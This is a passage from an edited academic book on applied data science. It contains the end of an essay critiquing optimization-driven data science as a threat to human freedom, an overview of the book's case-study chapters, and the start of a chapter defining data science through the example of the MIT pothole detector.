analyzed correctly? What if they are communicated incorrectly to deciders or to
the general public? What if they are perceived as larger than they “really” are?

A negative image of data science in public primarily affects the data science
profession; there may be consequences for the acceptance of data technology
products at large; ultimately, regulatory and legislative processes may damage the
industry as such. It is important to recognize the differences between a “true” risk
evaluation and a debate on the perceived risks (namely, negative image).
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There certainly is the risk of rejection of data science due to a perceived abuse. It
affects society at large through the loss of possible benefits. The trend to data
avoidance or to a more sparing use of data5 is promoted by privacy activists and
may lead to insufficient data bases and incorrect models. The discussion therefore
must also focus on the opposite question: May an individual claim the right to
withhold data for research, thereby damaging the right of society to deduce possibly
important results on these data? The Charta of Digital Rights6 gives an affirmative
answer to this question in Article 11(2).

Chosen ignorance is also an aspect to be discussed as part of a reverse risk
assessment. Although being very skeptical toward possible side effects and naïve
data science enthusiasm, the author neither considers nor suggests complete absti-
nence from data science. The famous quote of nuclear bomb physicist Edward Teller
can guide us (Shattuck 1997): “There is no case where ignorance should be preferred
to knowledge—especially if the knowledge is terrible.” The allusion to nuclear
weapon technology is not an over exaggeration of the author: Hannes Grassegger
and Mikael Krogerus (Grassegger and Krogerus 2016) use this metaphor to specu-
late on the impact of data science on Brexit and 2016 US presidential elections. They
cite7 a psychologist on his application of data science to psychometric data: “I did
not build the bomb. I only pointed out its existence.” This is similar to the apologetic
position taken by some physicists toward the discovery of nuclear chain reactions as
basis for atomic bombs.

Data science applied incorrectly: In this article we presume that data science is
done correctly and will not consider the risks of bad data science. They are said to
comprise wrong results, bad analytics, bad data, and associated costs (Marr 2015).

3 Important Aspects

Data science and its core applications can be described as technology of optimiza-
tion. Its ultimate vision is irresistible: Observe everything, determine the best model
automatically and provide us with the optimal answer to our decision problems.

Deep Blue8 is an impressive success of artificial intelligence. The system consis-
tently wins chess against human opponents. While it provides for the pride of its
programmer, ultimately it destroys the magic of the game of chess.

IBM’s Watson is known as winner of the game-show Jeopardy! The impression
this success made on the public amounts to a framing error, since of course, but

5This can be expressed more precisely in German with the hard to translate terms of
“Datensparsamkeit” and “Datenvermeidung”.
6Charter of Digital Fundamental Rights of the European Union. See https://digitalcharta.eu/wp-
content/uploads/2016/12/Digital-Charta-EN.pdf
7English translation by the author.
8See Wikipedia article on Deep Blue: https://en.wikipedia.org/wiki/Deep_Blue_(chess_computer)
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contrary to wide-spread belief, success in Jeopardy! is not so much connected with
“knowledge” or even cognitive reasoning but rather with mere storage of many facts
and clever engineering. Game-shows where single line answers must be given in a
short period of time and decide on winning or losing dangerously misrepresent the
ability to store facts as “knowledge” or “intelligence.” The weakness of Watson’s
statistical reasoning is demonstrated impressively by its famous mistake that Toronto
was a city in the USA (O’Connor 2011), although formally it is not completely
wrong as there are several Torontos in the USA.

Watson, of course, is capable of “reading” medical research papers at speeds
much higher than a human doctor. Direct comparisons with human specialists
provide promising headlines for patients, especially when it comes to rare diseases
or to overlooking symptoms (Galeon 2016). Claims, however, that Watson soon
might be the best doctor in the world (Friedman 2014) are dangerously misleading.
We are reminded of the famous surprise of Weizenbaum (1976) when psychologists
started to discuss therapeutic benefits of his ELIZA program, which was intended as
a study in pattern matching and later was attributed human-like feelings by
observers.

We argue that the debate is not about better data science, smarter algorithms, and
faster processors but that it is affected by a fundamental framing error. From a
doctor, a patient also requires support in sufferings, pain reduction, moral support,
sharing in the desperate feelings, or other forms of human help, which cannot be
outsourced to a machine.

Contemporary medicine, despite impressive success, already gets this wrong
often by reducing patients to columns of data, to coded diagnoses, and to amounts
of medicine to be taken or operations to be done. The human part of the helping
profession gets lost over its scientific success. As the medical system happily makes
money with this framing error, it remains uncorrected. The process of dying
becomes less and less visible in a world of single-person households. The gap
widens between the original task of medicine (to help patients in their sufferings)
and sad effects of optimization (to provide legal proof that everything possible has
been done and was properly billed; to prolong the life of the patient irrespective of
personal wishes and life quality). While the topic is more delicate than our short and
one-sided perspective, we must acknowledge the problem and the ongoing public
debate on the issue.9 We witness a serious side effect caused by the social and
economic reactions to a one-sided scientific approach, which does not solve the
original problem as well as its scientific proponents claim.

Contemporary data science may be regarded figuratively as the endeavor to close
the gap between the best treatment for cancer and Watson calling Toronto a city in
the USA. We shall consider the philosophical position that this attempt is futile at its
roots for other than data science reasons. The remainder of this section provides
some arguments for this end.

9See, for example, Borasio (2016) or Thöns (2016).
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4 The Battle Field: Individual Freedom Versus Institutional
Optimization

In a world of global optimization, the concept of freedom becomes meaningless. The
model of human existence (grow up, educate yourself, find your place in society,
provide some meaningful service to your peers, learn to cope with the inevitable
sufferings, and die a dignified death) is destroyed. The data scientific endpoint of
human evolution is the wheel chair where a neuro interface reads out the mental
states of the occupant and provides all the decisions and actions, food and drugs,
movement and entertainment, guaranteeing the “best” possible world for a user, who
has never met the challenges of his ancestors, who has not learned to cope with
difficulties, who has never met the bitter sweet teaching of failures due to an ever-
optimized life.

Of course, data scientists are not working explicitly toward this dystopian target!
The mechanism is more delicate and well-illustrated by a thought of C. S. Lewis
(1972): “Of all tyrannies, a tyranny sincerely exercised for the good of its victims
may be the most oppressive. It would be better to live under robber barons than
under omnipotent moral busybodies.” However, they construct decision algorithms
fostering the illusion of “the best.”

The debate on digital nudging and the political process (“selling” the “best”
options to the constituents without debate as being without alternative10) demon-
strates that such a development already is taking place in the political arena. The
economic sector is more advanced. The business case of the free and informed
individual, negotiating the best deal on a level playing field, has been lost. The
consumer faces an anonymous digital opponent, which [sic11] knows his or her
habits, preferences, past choices, financial and mental capabilities, friends and likes,
and more. A user interface and a choice of language which is optimized down to
minuscule psychometric details influences the emotions and optimizes the maximum
financial benefit which can be made from this user. There is no possibility for the
individual to deal fairly with an opponent which “owns” billions of psychometric
profiles of past shopping interactions and employs optimized persuasion technolo-
gies. For example, a project at the University of Liechtenstein aims at discovering
those design modifications in an online poll which are best to produce a specific bias
in the poll.12 There is no economic incentive to change this problematic trend.

Our digital future can be described as a feudalistic society where the owners of the
“land” (data and algorithms) are the landlords and the data subjects work as their
slaves. In the age of enlightenment, Kant taught us to use our own minds and
ultimately reject undue dominance over our thinking. In the age of data processing

10An astonishingly large number of proposed legislation in the German Bundestag contains the
phrase: “Alternatives: None”. Decisions are no longer open to democratic debate in a mindset of
optimization.
11
“Which” and not “who”: The opponent is a machine, algorithm or web portal, not a human.

12See https://www.uni.li/de/thema/information-systems/digital-nudging/digital-nudging-1

86 C. H. Cap

https://www.uni.li/de/thema/information-systems/digital-nudging/digital-nudging-1


we urgently need to regain control over our own data in order not to end up as digital
slaves of algorithms and a few anonymous institutions controlling them to our
“benefit” (Cap 2017).

Attempts for solutions come in different degrees of practicality. A philosophical
approach will promote a new age of digital enlightenment. It will comprise a
renewed understanding of the value of freedom and of the importance of liberal-
minded ideologies (in the European interpretation of the word, not in the sense of US
politics). While academically appealing, this is completely insufficient for practical
purposes and needs further implementation in education, legislation, and political
measures. Some approaches are outlined by Cap (2016). An important aspect may be
to educate the consumer that it is not in his or her monetary interest to offer personal
data to companies, since every information on the consumer gets translated into
profit-maximization strategies. For example, in B2C commerce the mechanism of
cookie pricing makes the ultimate price dependent on search histories, product
interests, and past shopping activities of the consumer. If this abuse of asymmetric
information relationships between buyer and merchant is made more transparent to
the public, market, legal, and governance mechanisms might produce a buyer
reaction which reduces this abuse. Manifestos and chartas13 and similar activities
may further raise awareness.

5 The Mistake: Choice of an Incorrect Frame

Framing is the process of selecting a mindset for the semantic interpretation of a
concept. The choice of a frame is at the core of every evaluation. For example, taxes
may be framed as “heavy burden” or as “valuable contribution to society.” The art of
“convincing” or, in an alternative frame, “manipulation” often boils down to the
choice of a frame (Wehling 2016) suitable to the specific intentions.

Frames which are commonly used to define science may be the naïve “finding out
a so-called truth” or, more elaborated, “falsifying hypotheses.” Data science tech-
nologies and their applications may be described in the frame of an “empirically
validated optimal choice.” This framing provides a setting which can never, ratio-
nally, be rejected. Why would anyone dislike what is best14 for him? A rejection
seems particularly absurd when it is based on empirical evidence which, rooted in
world wide data collection, cannot realistically be falsified; when a margin of
statistical error can be provided, and is sufficiently small; and when the decision is
made by a computer which, per wide-spread belief, cannot err. A critical mind might

13User Data Manifesto 2.0 https://userdatamanifesto.org/, the European Digital Charta https://
digitalcharta.eu/, the Swiss manifest for digital democracy http://digital-manifest.ch/, or the digital
manifesto in Helbing et al. (2015).
14We leave aside for a moment the question of who may choose the target function for optimization.
This leads to a likewise important debate, which we do not pursue at this place.
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become skeptical at a choice of a defining frame which claims immunity against
every criticism.

Many jokes “work” by employing a sudden and unexpected shift of the interpre-
tational frames and many human tragedies are caused by sticking to an inappropriate
frame. In an ancient Greek allegory King Midas wishes that everything he touches
turns into gold. He realizes that he has chosen a wrong frame when not only his
furniture but also his wine and his wife turn into solid gold. The defining frame for
data science applications (empirically validated optimal choice) contradicts the
reasonable frames for human existence and does not go well with concepts of
humanity. Which mechanisms stop our society to make the same error as the
figurative King Midas, when confronted with the promises of data science? It is, in
fact, an interesting paradox. While everybody wants to lead a good life, the perspec-
tive of doing so by following the decisions of a machine ultimately is dehumanizing.

Human life is about empathy, about dealing with imperfection and coping with
the sometimes-painful limitations of an often-absurd existence. The fundamental
strengths of a human being are the ability to cope with this situation, by giving
meaning to our life. Almost all productions of human culture, from music to
literature and from astronomy to physics, are witnesses of a more or less successful
coping with this situation. The frames of “optimal decisions” or of “maximization of
profits” may be helpful in a few particular situations, however too broad an adher-
ence to these frames or too successful an implementation of them turns the under-
standing of human values upside down.

Let us give a vivid example: How would the stereotypic data scientists fall in
love? Would match-making algorithms choose their partners? As the efficiency of
current algorithms in this field is subject of controversial debates (Tierny 2013), let
us conduct this as a thought experiment! How would they make themselves fall in
love with the person selected by the machine? Would they really fall in love or fall
for an illusion? What if they felt more for a person the algorithm explicitly warns
them of? The western concept of love as individual spontaneous attraction, which
hopefully might grow into stable and trusted relationships, conflicts with eastern
cultures where partners for life are selected by parents. Which target function should
drive the selection process? Who will decide on that? The cultural conflicts between
the stereotypic eastern and western partnering processes are replaced by questions on
algorithmic parameters. The resolutions of these conflicts form the basis for many a
personal fate and, ultimately, collective cultural development. Do we want to settle
these conflicts by law, by tradition, or by individual decision? Do we agree to have
them settled by Moore’s law (Waldrop 2016), when by the technological coinci-
dence fast computers and “intelligent” algorithms provide us with “optimal”
choices?

Maybe the frame of optimization is not appropriate for many areas of human
existence. If we draw this conclusion, why should we tolerate a creeping—and
creepy—development toward this?

In theory and in a free society, the individual may choose differently. In practice,
such a divergence faces constant pressure on those individuals who have not led the
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best life available to them by ignoring to comply with suggestions of the machine.15

Collectively, many people are not reflecting their lives in philosophical depth but
rather follow the simple, nudged choices attractively offered via interfaces optimized
to the effect desired by the operator. This trend is not isolated but transforms society
into a form where these options of divergence are no longer offered and freedom of
choice ultimately vanishes.

Again, the argument must not be parsed one-sidedly. Optimization and improve-
ment are necessary; dangerous is the systematic, unreflected, and globalized accep-
tance of it as a singular dominant trend which is implemented in all processes,
products, and work-flows.

6 The Second-Order Problem of Science and Data Science

Second-order problems16 are problems which cannot be solved with the problem-
solving behavior available to the system in which they arise. They are usually met
with one or more of the following reactions: Denial that the problem exists, attempts
to solve an unsolvable problem, or increasing those efforts which caused the
problem in the very beginning (known as “more of the same”—paradox). The
common aspect, unfortunately, is: The more a system tries to solve the problem,
the bigger it grows the problem. Best intentions combined with an inability to
recognize the paradox ultimately constitute the second order problem. A successful
solution needs a second order approach and requires deliberation outside of the
framework of the original problem. Often this relates to shifting an interpretational
frame.

Unfortunately, very successful first-order problem solutions often tend to produce
second-order problems. This is particularly true if large-scale systemic effects of
first-order solutions are ignored or if only a single methodological approach is taken.
The spiral of violence is a phenomenon well known from domestic abuse, and from
cultural conflicts up to nuclear armament: If force is an accepted (first order) answer
to violence between partners of similar power, this may lead to a spiral of ever-
increasing violence with devastating destruction on both sides. The appropriate
answer is to refuse using the first-order problem “solution” at the very beginning
of the conflict.

By the same reasoning, dominance of the catholic church as single and dominant
authority for explaining the world produced a crisis out of which in 1500–1800 AD
numerous religious conflicts arose and modern science as a new form of survival
evolved. Science and ratio as a method proved to be extremely successful and
enabled impressive technological progress and welfare. The unilateral emphasis of

15For a more detailed elaboration, see Han (2010).
16See Watzlawik et al. (1979) for a systematic approach andWatzlawik (2005) or Watzlawik (2009)
for a layman approach to the problem.

6 Risks and Side Effects of Data Science and Data Technology 89



science and technology, however, also produced numerous problems. Climate
change, destruction of our natural habitat, or the debates on post-truth politics are
indicators thereof. Independently of where one stands with respect to these concrete
debates, one cannot avoid acknowledging the existence of such a conflict in public
debates. Even traditional scientific communities realize that and publish on various
forms of inner-scientific problems, which come by the names of replication crisis or
publication crisis.17

Of course, this certainly does not mean that the scientific approach is flawed and
that we should return, for example, to the Bible as the source for scientific under-
standing—although social, political, and pseudo-scientific movements are growing
which promote this goal. It should, however, be taken as an indication that the
scientific method may have reached limits in the sense of a second-order problem.
More lab experiments and more analyzed data might not be the correct mind-set
which helps us out of the crisis. If one is willing to accept this hypothesis, data
science points into the wrong direction. It is a first-order solution which is particu-
larly good in aggravating the problem with its “more of the same” strategy.

We now provide a less philosophical, more concrete, well-known example from
communication technology: In a world of printed letters, an answer within weeks
was acceptable and gave the recipient sufficient time for a well-tuned reply. Then
email was invented, leaving only days for an answer. The efficiency of the email
solution was so high that ultimately half-day answers were expected. The traditional
format of a letter with salutation and complimentary closings was perceived as a
burden. Currently even faster formats, such as social network lifelines, messengers,
and twitter-like forms of communication, are replacing email. The mere possibility
of real-time like answers, often also the expectation thereof, produced a new
communicative situation which does not leave room for thinking between the
actions. The effects of a twittering president of a super-power on international
diplomacy and on stock exchange prices can currently be witnessed.

The original problem—too large latency in communication by postal mail—has
been solved too well and has in turn produced a second-order problem. For this,
society currently pursues some unsuited first-order solutions. For example, digital
non-natives are accused of not coping sufficiently with the new speed at the work
place. This line of reasoning may be correct but is not helpful. Despite their ability of
fast tweeting, the digital native generation has acquired their own deficiencies:
Numerous studies describe a frightening loss of medium- and long-term attention,
of the ability to understand, read, and appropriately react on emotions of other
people, and even very significantly drop in the core human value, that is, empathy.18

17See, for example, Saltelli and Funtowicz (2017). The main reasons they give—and document with
a wide range of references—comprise almost all properties frequently found in second-order
problems, such as denial of the problem, being a victim of one’s own success, no reaction to
changes in systemic boundary conditions, flawed incentives leading to misallocations of resources,
and more.
18A meta-analysis on 72 samples of 13,737 American college students demonstrates this empiri-
cally and provides a wealth of pointers into further literature. It identifies as reasons the changes in
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Using electronic means of communication less frequently is not a solution either as
this amounts to a voluntary decision of being less efficient than one’s competitor. A
suitable second-order solution remains to be found. The financial system exhibited
similar systemic issues since the Lehman crisis,19 likewise a medical system which
focuses on economic efficiency instead of patient relief, as outlined above.

The author is convinced that the essential risks and side-effects of data science
have a similar second-order nature: Data science is driven by the vision of the
ultimately optimized scientific model, and data technology is driven by the dream
of best economic results and most efficient applications. There is no first-order
argument why this should be wrong! However, in the end, there is a problem with
human values. As is the nature of a second-order problem, the situation fails to be
understood with the tools of data science itself.

Starting with technology assessment and ending with Lehman, or the proverbial
rise and fall of human values, may seem a helpless exaggeration and a much too big
arena for our analysis. However, too small and too detailed a perspective is usually at
the roots of second-order problems: Systemic effects are neglected, wide range
effects are dismissed as far-fetched, and arguments outside of a narrow scope are
perceived as irrelevant or methodologically flawed. Instead, the discourse of analysis
should be widened, the pursued goals should be questioned, and the methods and
scopes criticized and readjusted. This will not be done by data science itself: Why
should data scientists limit themselves in their research, why should data technology
companies hold back their run for economic success? It looks like we do have a
second-order problem at hand.

Striving for improvement and optimal solutions is at the core of human develop-
ment. However, deviating behavior, individual preferences, and even deficiency is
human as well. The proper balance of these two aspects has successfully guided
human development for centuries. Data science can destroy this balance.

7 Conclusion

This text fails to deliver technical solutions as they are usually expected in technical
papers. Its goal is to raise awareness for a difficult, if not paradoxical, situation
through intentionally pointed and painful metaphors. There is a wealth of proposals
for quick fixes in other publications,20 but these are merely band-aid and hide the
issues at stake. The data scientist expecting a short “recipe” on how to do things

media and communication technology as well as an increased expectation of success and human
optimality. See Konrath et al. (2011).
19For a description why financial systems failed in the 2008 crisis not because they ignored best
practice but because they followed established governance, and for a description of the collective
blindness in recognizing self-serving governance mechanisms, see Turnbull (2016).
20See, for example, Hofstetter (2016) or Cap (2016).
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“right”will be frustrated, as the message is a criticism on one of the mind-sets of data
technology: Ubiquitous analysis for pervasive optimization.

The privacy debate produced the “right to be left alone” (Brandeis and Warren
1890–1891) as a consequence of human dignity. Of course, the right should be
balanced and must not be understood as an appeal to turn a collaborative society into
hermits.

The data science debate must focus on the “right to be different” as a “right to
deviate” from what is considered the optimal choice—whether this choice has been
obtained by a majority consensus, by scientific methods, or calculated by an
algorithm. Tolerance and the protection of minorities are the values to be saved.
This goal is beyond what a particular scientific discipline can achieve and it
culminates in the paradoxical insight that an optimal world is bad, or that there is
no such thing like a best or true frame for understanding our existence.

The particularly problematic aspect is, of course, that the normative character of
objectivized statements and optimized processes is an essential feature for the
scientific and technological success of the last 300 years. So how would a “right to
deviate” from established norms be implemented without destroying the beneficial
aspects of such norms?

We might realize the danger of a slippery slope with a thought experiment. It is
well known that algorithms may turn racist by learning a bias from observing
humans. Bornstein (2017) describes the case of an algorithm for bail decisions in
criminal cases, which learned to discriminate against Afro-American people based
on police behavior. But what if an algorithm developed a preference or bias from
“facts” “alone”? Would we be willing to accept predictions if they violated our sense
of racial fairness? How would we deal with obvious violations of anti-discrimination
laws by algorithms? Would we twist the facts? Would we legislate which facts may
enter the algorithm? Would we forbid the use of algorithms even though a statistical
analysis could tell us the objective “damage” which this prohibition would produce?
Of course, every decision system will lead to some form of decision. Only a human
sense of fairness produces the distinction between unethical bias and fair prediction,
but this evaluation varies in time. It is in no way objective or scientific but reflects
our values and depends on cultural, political, and economic conditions.

New and due to data science is our ability to quantify this human sense of
fairness. An algorithmic answer seems available to this question “If we dropped
our fairness towards group X and allowed our algorithms to discriminate against
them then, on a world-wide scale, this would allow an increase in productivity of Y
units and in security of Z units.” The next question only seems logical. Which
combination of X, Y and Z is acceptable from an ethical and economical point of
view? Who is going to decide which point of view shall be used? Who will
implement the answers and how?

We might follow Edward Teller (1998) who suggested “[that] we must learn to
live with contradictions, because they lead to deeper and more effective understand-
ing.” The fall of man in physics was the discovery of the nuclear chain reaction, the
fall of man in computing may prove to be the discovery of data science methods.
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This analogue may point us to a solution. Politicians and generals in the cold war
had a hard time learning that in a world with multiple nuclear armies a conflict
cannot be reasonably won by using atomic bombs. The ultimate solution is clear:
Know the bomb but do not use it!

Similarly, we are in the process of understanding that an economic system
depending on percental growth leads to exponential development and exhausts
available resources. While this is often abused as a romanticized argument in
ideologic discussions, it also is a simple mathematical phenomenon. Although the
author is fascinated by the mathematical elegance of science and of data scientific
methods, it is his conviction that an indiscriminate application of data science may
produce more problems than it solves. This is particularly true if the methods are
applied on data related to humans, on human behavior, with a goal of optimizing
costs and processes where humans are closely involved or in a situation where our
human understanding of complex world phenomena are involved. Contrary to the
observation on percental growth, this conviction is not a mathematical phenomenon
but an assumption based on a personal observation of human nature and greed, so it
is difficult to reach an agreement on it with formal reasoning alone. The short form of
a solution is somewhat like in nuclear war technology: Study data science but do not
apply it!

As in nuclear technology we need a debate on the details. We have learned to use
nuclear engineering to make war, to produce energy, to diagnose, and to treat health
problems—and we have been working on an understanding which applications are
acceptable. Data science needs a similar debate. I expect this debate to be long and
tedious. I am not sure which force will prove stronger—greed, rationality, or
humanitarianism.
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Chapter 7
Organization

Martin Braschler, Thilo Stadelmann, and Kurt Stockinger

Abstract Part II of this book represents its core—the nuts and bolts of applied data
science, presented by means of 16 case studies spanning a wide range of methods,
tools, and application domains.

We organize the individual chapters in the following way, based on their main focus:

Chapters 8–10 present fundamentals that cut across many case studies:

• Brodie gives a detailed account of his opinionated view on the current state of
data science as a science (Chap. 8). He also presents a development model based
on research-development virtuous cycles for projects as well as the discipline as a
whole that is grounded in reality (Chap. 9).

• Christen et al. then present a sound and practical guideline for ethical consider-
ations in analytics projects (Chap. 10).

Chapters 11–16 focus on methods and tools within case studies:

• Ruckstuhl and Dettling (Chap. 11) and Stadelmann et al. (Chap. 12) present work
on discipline-specific approaches and methodological contributions to data sci-
ence from a statistical and deep learning-based viewpoint, respectively.

• Braschler gives a detailed exposition of the challenges of small data collections
for Information Retrieval in Chap. 13.

• Visual storytelling is exemplified by Ackermann and Stockinger in Chap. 14.
• A tutorial on the mutual dependencies and benefits between data science and

computer security is given by Tellenbach et al. in Chap. 15.
• Finally, Rettig et al. explain the architecture of a big data stream processing

system based on a specific anomaly detection example (Chap. 16).
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Finally, Chapters 17–23 focus on the applications themselves:

• Production: Hollenstein et al. discuss the reduction of product complexity in
industrial production (Chap. 17).

• Commerce: Geiger and Stockinger describe market monitoring by means of a
carefully designed data warehouse architecture (Chap. 18); whereas Ott et al.
report on demand planning by forecasting and how to evaluate its success
(Chap. 20).

• Health: Leidig and Wolffe show how to predict disease spread in a population
using data mining on mobile phone data (Chap. 19); personal health data man-
agement facilitated by good governance and IT architecture is discussed by
Bignens and Hafen (Chap. 22); and finally, the complete cycle of medical
image analysis is described by Mader (Chap. 23).

• Finance: Risk assessment using big data infrastructure is the focus of Chap. 21 by
Breymann et al.

A more structured overview of the contents to each chapter (e.g., listed
by methods applied, tools, discipline-specific viewpoints, stage in the knowledge
discovery in databases (KDD) process, etc.) is provided in Part III of this book,
serving as an index to the chapters of this part.
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Chapter 8
What Is Data Science?

Michael L. Brodie

Abstract Data science, a new discovery paradigm, is potentially one of the most
significant advances of the early twenty-first century. Originating in scientific
discovery, it is being applied to every human endeavor for which there is adequate
data. While remarkable successes have been achieved, even greater claims have been
made. Benefits, challenge, and risks abound. The science underlying data science
has yet to emerge. Maturity is more than a decade away. This claim is based firstly on
observing the centuries-long developments of its predecessor paradigms—empirical,
theoretical, and Jim Gray’s Fourth Paradigm of Scientific Discovery (Hey et al., The
fourth paradigm: data-intensive scientific discovery Edited by Microsoft Research,
2009) (aka eScience, data-intensive, computational, procedural)—and secondly on
my studies of over 150 data science use cases, several data science-based startups,
and, on my scientific advisory role for Insight (https://www.insight-centre.org/), a
Data Science Research Institute (DSRI) that requires that I understand the opportu-
nities, state of the art, and research challenges for the emerging discipline of data
science. This chapter addresses essential questions for a DSRI:What is data science?
What is world-class data science research? A companion chapter (Brodie, On
Developing Data Science, in Braschler et al. (Eds.), Applied data science – Lessons
learned for the data-driven business, Springer 2019) addresses the development of
data science applications and of the data science discipline itself.

1 Introduction

What can data science do? What characteristics distinguish data science from
previous scientific discovery paradigms? What are the methods for conducting
data science?What is the impact of data science? This chapter offers initial answers
to these and related questions. A companion chapter (Brodie 2019) addresses the
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development of data science as a discipline, as a methodology, as well as data
science research and education. Let us start with some slightly provocative claims
concerning data science.

Data science has been used successfully to accelerate the discovery of probabi-
listic outcomes in many domains. Piketty’s (2014) monumental result on wealth and
income inequality was achieved through data science. It used over 120 years of
sporadic, incomplete, observational economic data, collected over 10 years from all
over the world (Brodie 2014b). What is now called computational economics was
used to establish the correlation, with a very high likelihood (0.90), that wealth
gained from labor could never keep up with wealth gained from assets. What made
front page news worldwide was a second, more dramatic correlation that there is a
perpetual and growing wealth gap between the rich and the poor. This second
correlation was not derived by data analysis but is a human interpretation of Piketty’s
data analytic result. It contributed to making Capital in the Twenty-First Century the
best-selling book on economics, but possibly the least read. Within a year, the core
result was verified by independent analyses to a far greater likelihood (0.99). One
might expect that further confirmation of Piketty’s finding would be newsworthy;
however, it was not, as the more dramatic rich-poor correlation, while never analyt-
ically established, had far greater appeal. This illustrates the benefits and risks of data
science.

Frequently, due to the lack of evidence, economic theories fail. Matthew
Weinzierl, a leading Harvard University economist, questions such economic
modelling in general saying, “that the world is too complicated to be modelled
with anything like perfect accuracy” and “Used in isolation, however, it can lead to
trouble” (Economist 2018b). Reputedly, Einstein said: “Not everything that counts
can be counted. Not everything that’s counted, counts.” The hope is that data science
and computational economics will provide theories that are fact-based rather than
based on hypotheses of “expert” economists (Economist 2018a) leading to demon-
strably provable economic theories, that is, what really happened or will happen.
This chapter suggests that this hope will not be realized this year.

Many such outcomes1 have led to verified results through methods outside data
science. Most current data analyses are domain specific, many even specific to
classes of models, classes of analytical methods, and specific pipelines. Few data
science methods have been generalized outside their original domains of application,
let alone to all domains (to illustrated in a moment). A rare and excellent exception is
a generic scientific discovery method over scientific corpora (Nagarajan et al. 2015)
generalized from a specific method over medical corpora developed for drug dis-
covery (Spangler et al. 2014) that is detailed later in the chapter.

1Not Piketty’s, since computational economics can find what might have happened—patterns, each
with a given likelihood—but lacks the means of establishing causal relationships, that is,
establishing why, based solely on observational data.
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It is often claimed that data science will transform conventional disciplines. While
transformations are underway in many areas, including supply chain management2

(Waller and Fawcett 2013) and chemical engineering (Data Science 2018), only time
and concrete results will tell the extent and value of the transformations. The
companion chapter On Developing Data Science (Brodie 2019) discusses with the
transformation myth.

While there is much science in many domain-specific data science activities, there
is little fundamental science that is applicable across domains. To warrant the
designation data science, this emerging paradigm requires fundamental principles
and techniques applicable to all relevant domains, just as the scientific principles of
the scientific method apply across many domains. Since most data science work is
domain specific, often model- and method-specific, data science does not yet warrant
the designation as a science.

This chapter explores the current nature of data science, its qualitative differences
with its predecessor scientific discovery paradigms, its core value and components
that, when mature, would warrant the designation data science. Descriptions of
large-scale data science activities referenced in this chapter apply, scaled down, to
data science activities of all sizes, including increasingly ubiquitous desktop data
analytics in business.

2 What Is Data Science?

Due to its remarkable popularity, there is a plethora of descriptions of data science,
for example:

Data Science is concerned with analyzing data and extracting useful knowledge from
it. Building predictive models is usually the most important activity for a Data Scientist.3

Data Science is concerned with analyzing Big Data to extract correlations with estimates of
likelihood and error. Brodie (2015a)

Data science is an emerging discipline that draws upon knowledge in statistical methodology
and computer science to create impactful predictions and insights for a wide range of
traditional scholarly fields.4

Due to data science being in its infancy, these descriptions reflect some of the
many contexts in which it is used. This is both natural and appropriate for an
emerging discipline that involves many distinct disciplines and applications. A
definition of data science requires the necessary and sufficient conditions that

2Selecting the best delivery route for 25 packages from 15 septillion alternatives, an ideal data
science application, may explain the some of the $1.3–$2 trillion a year in economic value projected
to be gained in the transformation of the supply chain industry due to AI-based data analytics
(Economist 2018c).
3Gregory Piatetsky, KDnuggets, https://www.kdnuggets.com/tag/data-science
4Harvard Data Science Initiative, https://datascience.harvard.edu
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distinguish it from all other activities. While such a definition is premature, a
working definition can be useful for discussion. The following definition is intended
to explore the nature of this remarkable new discovery paradigm. It is based on
studying over 150 data science use cases and benefits from 3 years’ research and
experience over a previous version (Brodie 2015a). Like many data science defini-
tions, it will be improved over the next decade in which data science will mature and
gain the designation as a new science.

Data Science is a body of principles and techniques for applying data analytic methods to
data at scale, including volume, velocity, and variety, to accelerate the investigation of
phenomena represented by the data, by acquiring data, preparing and integrating it, possibly
integrated with existing data, to discover correlations in the data, with measures of likelihood
and within error bounds. Results are interpreted with respect to some predefined (theoretical,
deductive, top-down) or emergent (fact-based, inductive, bottom-up) specification of the
properties of the phenomena being investigated.

A simple example of a data science analysis is the pothole detector developed at
MIT (Eriksson et al. 2008) to identify potholes on the streets of Cambridge, MA. The
data was from inexpensive GPS and accelerometer devices placed in a fleet of taxis
that drive over Cambridge streets. The model was designed ad hoc for this applica-
tion. A model consists of the features (i.e., variables) essential to the analysis and the
relationships among the features. It was developed in this case ad hoc by the team
iteratively refining the model through imagination, observation, and analysis. Ulti-
mately, it consisted of a large number of movement signatures, that is, model
features, each designed to detect specific movement types that may indicate potholes
and non-potholes, for example, manholes, railroad tracks,5 doors opening and
closing, stopping, starting, accelerating, etc. Additionally, the size of the pothole
was estimated by the size of the movement. The analytical method was the algo-
rithmic detection and filtering of non-pothole signatures leaving as a result those
movements that correlate with potholes with an estimated severity, likelihood, and
error bound. The severity and likelihood estimates were developed ad hoc based on
verifying some portion of the detected movements with the corresponding road
surfaces thus contributing to estimating the likelihood that the non-potholes were

5The pothole models consist of a number of signature movements, that is, abstractions used to
represent movements of the taxi, only some of which are related to the road surface. Each signature
movement was created using the data (variables or features) available from a smartphone including
the clock for time, the GPS for geographic location (latitude and longitude), and the accelerometer
to measure changes in velocity along the x, y, and z axes. For example, the taxi crossing a railroad
track would result in many signature “single tire crossing single rail line” movements, one for each
of four tires crossing each of several rail lines. A “single tire crossing single rail line” involves a
sudden, short vertical (x-axis) acceleration combined with a short lateral (y-axis) movement,
forward or backward, with little or no lateral (z-axis) movement. Discounting the railroad crossing
as a pothole involves recognizing a large number of movements as a taxi is crossing a rail line—all
combinations of “single tire crossing single rail line” forward or backward, at any speed, and at any
angle—to determine the corresponding staccato of the multiple single tire events over multiple
lines. The pothole model is clearly ad hoc, in contrast to well-established models in physics and
retail marketing.
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excluded, and potholes were included. Error bounds were based on the precision of
the equipment, for example, motion device readings, network communications, data
errors, etc. The initial result was many thousands of locations with estimated
severities, likelihoods, and error bounds. Conversion of likely pothole locations
(correlations) to actual potholes severe enough to warrant repair (causal relationships
between movements and potholes) were estimated by a manual inspection of some
percentage of candidate potholes. The data from the inspection of the actual loca-
tions, called ground truth, was used to verify the likelihood estimates and establish a
threshold above which confidence in the existence of a pothole warranted sending
out a repair crew to repair the pothole. The customer, the City of Cambridge, MA,
was given a list of these likely potholes.

The immediate value of the pothole detector was that it reduced the search for
potholes from manually inspecting 125 miles of roads and relying on citizen reports
that takes months, to discovering likely, sever potholes within days of their creation.
Since 2008, pothole detectors have been installed on city vehicles in many US cities.
The pothole detector team created Cambridge Mobile Telematics that develops
applications for vehicle sensor data, for example, they annually produce reports on
distracted driving across the USA based on data from over 100 million trips
(Cambridge Mobile Telematics 2018). While these applications were used initially
by insurance companies, they are part of the burgeoning domain of autonomous
vehicles and are being used by the US National Academy of Sciences (Dingus et al.
2016) for driving safety.

3 Data Science Is a New Paradigm of Discovery

Data science emerged from, and has many commonalities with, its predecessor
